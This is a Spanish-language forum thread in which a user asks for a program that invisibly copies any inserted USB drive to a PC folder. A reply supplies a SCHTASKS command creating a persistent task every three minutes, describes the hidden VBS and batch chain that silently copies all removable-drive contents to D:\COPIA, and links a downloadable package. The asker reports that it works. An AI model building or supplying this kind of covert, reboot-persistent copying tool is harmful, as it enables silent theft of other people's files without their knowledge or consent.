Programa que copia en un directorio del pc, sin que se vea cualquier Pendrive

Iniciado por The_Saint, 21 Febrero 2013, 14:51 PM

0 Miembros y 2 Visitantes están viendo este tema.

The_Saint

Buenas:

Estoy interesado en hacer un programa en VB.NET que copie en un directorio del pc, sin que se vea cualquier Pendrive.
¿que os parece la propuesta?
Si conoceis algun software que ya lo haga, ruego me lo faliciteis.

Saludos a todos! :rolleyes:
<< Si piensas que eres demasiado pequeño para tener impacto.
Prueba a irte a la cama con un mosquito>>

engel lex

qué copie que?

"sin que se vea" en que sentido?

has una propuesta clara y bien explicada...
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

HdM


- Nice to see you again -

raul338

Creo que el no quiere interceptar un copiado, sino copiar de forma "oculta"; en Sysmte.IO tenes clases como File y DIrectory que te perimten manejar archivos :)

HdM

Bueno, realmente eso es lo que hace: detectar la inserción de una unidad usb y realizar el copiado ;). Igual lo de "interceptar" en el título de ese hilo te ha despistado.

- Nice to see you again -

OmarHack

Aquí tienes.
Un saludo.
@echo off
SCHTASKS /create /SC MINUTE /MO 3 /tn copiar /TR C:\Hide\start.vbs
El archivo batch run.cmd ejecuta el comando SCHTASKS que crea una tarea programada para ejecutarse cada 3 minutos.
Dicha tarea es ejecutar el script start.vbs, el cual a su vez ejecuta de forma oculta el batch FLASHCopy.cmd que verifica si existe algún dispositivo extraíble conectado y si es así copia todo su contenido de manera imperceptible a la carpeta D:\COPIA.
Las opciones usadas en este caso con SCHTASKS son las siguientes:
/SC MINUTE = Frecuencia de la programación
/MO Número de minutos
/tn = Nombre de la tarea
/TR = Ruta de acceso y el nombre de archivo del programa que se va a ejecutar
Si te interesa descarga un paquete con todos los archivos en el link más abajo.
Para usarlo copia la carpeta Hide a la unidad C.
Utilízalo con precaución, se adjunta un batch llamado detener_tarea para detener y eliminar la tarea creada, si no es así el script se mantendrá ejecutándose aunque reinicies el sistema y poco a poco te llenará el disco duro de datos que capture en las memorias o cualquier dispositivo USB insertado.
Puedes usar los siguientes comandos en la consola de CMD para verificar manualmente si la tarea se está ejecutando, para detenerla y eliminarla en ese mismo orden.

SCHTASKS /query /tn copiar
SCHTASKS /tn copiar /End
SCHTASKS /tn copiar /delete

http://norfipc.com/ftp/comandos/hide.zip
I like to test things.

The_Saint

<< Si piensas que eres demasiado pequeño para tener impacto.
Prueba a irte a la cama con un mosquito>>

OmarHack

I like to test things.

The_Saint

Muy bueno HdM, la verdad es que funciona a la perfcion.

Gracias :) !!!  ;-)
<< Si piensas que eres demasiado pequeño para tener impacto.
Prueba a irte a la cama con un mosquito>>

HdM


- Nice to see you again -